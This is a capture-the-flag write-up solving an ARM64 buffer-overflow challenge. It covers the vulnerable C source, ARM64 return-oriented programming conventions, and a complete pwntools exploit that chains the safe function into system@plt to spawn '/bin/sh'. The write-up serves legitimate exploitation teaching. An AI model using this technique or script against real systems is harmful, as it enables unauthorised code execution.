M1 [Pwn]
Simple ARM64 Return-Oriented Programming (ROP).
Disclaimer: I didn’t get to finish this during the CTF because skill issues :(
Going through the program
The source code is so short I can just put everything here. (Took away setup
to save space. Not important.)
#include <stdio.h>
#include <stdlib.h>
char name[0x10];
void safe(void) {
system("echo -n 'What is your name? '");
gets(name);
}
void vuln(void) {
char buf[0x10];
system("echo -n 'Are you running M1? '");
gets(buf);
}
int main(void) {
system("echo -n 'Choose wisely\n1. safe\n2. vuln\n> ' ");
unsigned int choice;
scanf("%d%*c", &choice);
switch (choice) {
case 1:
safe();
break;
case 2:
vuln();
break;
default:
break;
}
return 0;
}
So… the buffer overflow here is just screaming at your face.
It’s a very basic ROP question with no PIE, a place for you to put your own “/bin/sh” string, and system
called and linked for you to return to. But I got punched in the face because it’s ARM64. (first time doing ARM)
A very brief and hand-wavey explanation to ARM ROP
The key difference between x86 and ARM is that:
- x86 uses the stack to store the return address and base pointer, while ARM uses
lr
(link register, or x30) andfp
(frame pointer, or x29) registers. - x86 (64 bit) uses RDI, RSI, RDX, RCX, R8, and R9 (+ the stack) for parameters, while ARM uses x0 to x7 (v0 to v7 for floating point parameters).
You might wonder for the 1st point, what happens if there is more than 1 level of function calling (e.g. A() -> B() -> C()
), then the return address of the previous function call is replaced and lost. Props to you if you thought of this because it means you’re actively thinking :D
The use of registers is to minimize stack usage (slow) unless the called function (B()
) performs an inner function call (C()
) too. In those cases, this instruction
stp x29,x30,[sp, #-0x10]!
will store the contents of these two registers onto the stack. ARM loads and stores pairs of register with one instruction. 16 bytes at a time. Very cool.
So, the consequences of this change is that our ROP chain isn’t triggered upon the first return, since it returns based on the register content. But after returning, it will recover the “previous address” from the stack, and the next return will trigger the ROP chain. (If we buffer overflow and input ROP chain in C()
, then it is triggered when B()
returns to A()
)
There needs to be one more care to our ROP chain, which is to consider the local variables in the first function we return to (B()
), as the stack frame will be cleared and the stack will shrink before obtaining the next “saved return address”.
Make sure to round up the padding here to be 16-byte aligned because ARM will allocate the stack frame like this.
Solution
So the solution is to call vuln
and buffer overflow. After we return from main
, we should jump to safe
, where we write the string “/bin/sh” into name
, then return to system
with name
as the parameter.
But the question is: How do we pass “/bin/sh” into system
?
We know that we need the pointer to the string name
to be in register x0. But when we use ROPgadget
or ropper
, we find no useful gadgets to use. However, notice that after we write our string, the register x0 is still pointing at name
due to gets
using it, and is not changed until we return from safe
and after going into system
.
This means that we can just go from safe
to system
without populating the parameter.
One last thing:
The addresses of safe
and system
are fixed since there’s no PIE.
objdump -d m1 | grep safe
40071c: b0000093 adrp x19, 0x411000 <safe+0x1c>
0000000000400744 <safe>:
40074c: 90000000 adrp x0, 0x400000 <safe+0x8>
400844: 97ffffc0 bl 0x400744 <safe>
objdump -d m1 | grep system
4005b4: 90000090 adrp x16, 0x410000 <system@plt+0x4>
00000000004005f0 <system@plt>:
400754: 97ffffa7 bl 0x4005f0 <system@plt>
400780: 97ffff9c bl 0x4005f0 <system@plt>
400814: 97ffff77 bl 0x4005f0 <system@plt>
Final Script
from pwn import *
DEBUG = True
safe = 0x400744
system = 0x4005f0
conn = remote("127.0.0.1", 1234) if DEBUG else remote("54.158.139.58", 1234)
conn.sendlineafter(b"> ", b"2")
payload = b"A" * 0x10
payload += b"B" * 8 + p64(safe+4) # put /bin/sh in `name`
payload += b"C" * 0x10 # stack frame of `main`
payload += b"B" * 8 + p64(system) # call `system` with reg x0 pointing at /bin/sh
conn.sendlineafter(b"? ", payload)
conn.sendlineafter(b"? ", b"/bin/sh\x00")
conn.interactive()